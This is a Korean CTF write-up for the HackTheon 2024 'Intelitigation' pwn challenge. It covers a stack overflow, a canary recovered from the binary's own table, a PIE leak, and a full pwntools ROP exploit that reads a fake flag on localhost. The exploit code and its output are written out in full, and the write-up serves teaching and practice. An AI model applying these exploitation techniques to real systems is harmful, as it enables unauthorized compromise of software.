콘텐츠로 건너뛰기

[핵테온 2024] Intelitigation

문제서버 환경 구축

당시 base64 인코딩 데이터와 함께 문제파일이 실행되었다.

ubuntu@2d0f4d9a440c:~/hto2024/Intelitigation$ nc 127.0.0.1 1337
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAABEAAAAAAABAAAAAAAAAALAxAAAAAAAAAAAAAEAAOAAN...
input> 
  • server.sh
#!/usr/bin/env bash

# 서비스할 포트 번호
PORT=1337

# prob 파일의 절대 경로
BINARY="$(realpath ./prob)"

# 무한 반복
while true; do
  echo "[*] Waiting for connection on port $PORT…" >&2

  # (1) OpenBSD netcat
  #    -n: 호스트 이름 해석하지 않음 (optional)
  #    -l: listen mode
  #    -p: 포트 지정
  #    -c: 쉘 명령 실행 (STDIN/STDOUT ↔ 네트워크)
  nc -n -l -p "$PORT" -c "
    # 1) prob 파일을 Base64 인코딩하여 전송
    base64 \"$BINARY\"
    # 2) 바로 실행 (STDIN/STDOUT ↔ 네트워크)
    exec \"$BINARY\"
  "

  # 만약 위 nc에 -c 옵션이 없다면, 아래 ncat 예시를 사용하세요:
  # ncat --keep-open -l "$PORT" --exec "bash -lc 'base64 \"$BINARY\"; exec \"$BINARY\"'"

  echo "[*] Connection closed, restarting…" >&2
done

Analysis

우선, base64 인코딩 데이터를 복호화해서 문제파일 저장.

checksec

ubuntu@2d0f4d9a440c:~/hto2024/Intelitigation$ checksec prob
[*] '/home/ubuntu/hto2024/Intelitigation/prob'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

main

sub_1324() 호출.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  sub_1324();
  return 0;
}

sub_1324

buf 크기가 65인데, 0x300=768만큼 입력받기에 bof 발생.

unsigned __int64 sub_1324()
{
  _QWORD buf[65]; // [rsp+0h] [rbp-210h] BYREF
  unsigned __int64 v2; // [rsp+208h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input> ");
  memset(buf, 0, 512);
  read(0, buf, 0x300u);
  printf("Your input> ");
  printf("%s", (const char *)buf);
  return v2 - __readfsqword(0x28u);
}

sub_124E

a1에 읽을 파일이름을 넣으면 open-read-write를 통해 파일 읽기 가능.

ssize_t __fastcall sub_124E(const char *a1)
{
  int fd; // [rsp+1Ch] [rbp-4h]

  fd = open(a1, 0);
  read(fd, &unk_40C0, 0x64u);
  return write(1, &unk_40C0, 0x64u);
}

sub_12FD

main 호출전 초기에 실행됨.
sub_12D9qword_4020qword_4070 인덱스값에 따라 반환됨.
sub_12D9에서 반환된 값을 fs:0x28 canary에 씀.

.init_array:0000000000003D90                 dq offset sub_12FD
unsigned __int64 sub_12FD()
{
  unsigned __int64 v0; // rax

  sub_11E9();
  v0 = sub_12D9();
  return sub_12BD(v0);
}
int sub_11E9()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  return setvbuf(stderr, 0, 2, 0);
}
__int64 sub_12D9()
{
  return qword_4020[qword_4070];
}
unsigned __int64 __fastcall sub_12BD(unsigned __int64 a1)
{
  unsigned __int64 result; // rax

  result = a1;
  __writefsqword(0x28u, a1);
  return result;
}

ROPgadget

pop rbp ; ret

push rbp ; mov rbp, rsp ; mov rdi, rsp ; pop r8 ; ret

위 2개의 가젯을 사용.
pop rbp ; ret 가젯에 의해 rbp값을 지정해주면, 이후
push rbp ; mov rbp, rsp ; mov rdi, rsp ; pop r8 ; ret 가젯에 의해 rsp, rdi까지 임의 값으로 컨트롤 가능.

ubuntu@2d0f4d9a440c:~/hto2024/Intelitigation$ ROPgadget --binary ./prob.bin
...
0x00000000000012b0 : push rbp ; mov rbp, rsp ; mov rdi, rsp ; pop r8 ; ret
...
0x00000000000012d2 : sub byte ptr [rax], al ; add byte ptr [rax], al ; nop ; pop rbp ; ret
...

gdb fix (ptrace: Operation not permitted)

https://github.com/microsoft/MIEngine/wiki/Troubleshoot-attaching-to-processes-using-GDB

가끔씩 gdb 프로세스 attach가 안될때 해결방법.

sudo apt-get install libcap2-bin -y
sudo setcap cap_sys_ptrace=eip /usr/bin/gdb

solve.py

  1. base64 디코딩으로 카나리 인덱스를 통해 스택 카나리 획득
  2. 카나리와 함께 bof 취약점 트리거. ret 1바이트는 \xf2로 덮어씀.
    .text:00000000000013F2 call sub_1324
  3. leak된 값으로 bin_base 계산
  4. 앞서 언급한 2개의 가젯을 활용해 ROP 체인으로 orw 함수 호출.
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

import base64
import os

prob_path = "./prob.bin"
if os.path.exists(prob_path):
    os.remove(prob_path)

p = remote("127.0.0.1", 1337)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))

prob_data = ru(b"input> ").split(b"input> ")[0]
prob_data = base64.b64decode(prob_data)

with open('prob.bin','wb') as f:
    f.write(prob_data)

e = ELF(prob_path)
qword_4070 = uu64(e.read(0x4070, 8))
li("qword_4070", qword_4070)
canary = uu64(e.read(0x4020 + qword_4070*8, 8))
li("canary", canary)

payload = b"A"*0x208 + p64(canary) + b"B"*8 + b"\xf2"
p.send(payload)
ru(b"B"*8)
bin_base = uu64(r(6)) - 0x13f2
li("bin_base", bin_base)

'''
pop_rbp__retn
.text:00000000000012D7                 pop     rbp
.text:00000000000012D8                 retn
'''

'''
set_rdi
.text:00000000000012AC sub_12AC        proc near
.text:00000000000012AC ; __unwind {
.text:00000000000012AC                 endbr64
.text:00000000000012B0                 push    rbp
.text:00000000000012B1                 mov     rbp, rsp
.text:00000000000012B4                 mov     rdi, rsp
.text:00000000000012B7                 pop     r8
.text:00000000000012B9                 retn
'''

set_rdi = bin_base + 0x00000000000012B0
pop_rbp__retn = bin_base + 0x00000000000012D7
orw = bin_base + 0x124e

leave__ret = bin_base + 0x13e3
retn = bin_base + 0x13fd

payload = b"A"*0x208 + p64(canary) + b"B"*8

payload += p64(pop_rbp__retn)
payload += p64(uu64(b"flag\x00"))   #set rbp
payload += p64(set_rdi)
payload += p64(orw)
p.send(payload)


p.interactive()

Result

ubuntu@2d0f4d9a440c:~/hto2024/Intelitigation$ python3 solve.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] '/home/ubuntu/hto2024/Intelitigation/prob.bin'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] qword_4070========>0x7
[+] canary========>0xf5595f393df9539d
[+] bin_base========>0x555555554000
[*] Switching to interactive mode
input> Your input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9dS\xf9=9_Y\xf5BBBBBBBB\xd7RUUUUflag{fake_flag}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$                                  [*] Got EOF while reading in interactive
$  
태그: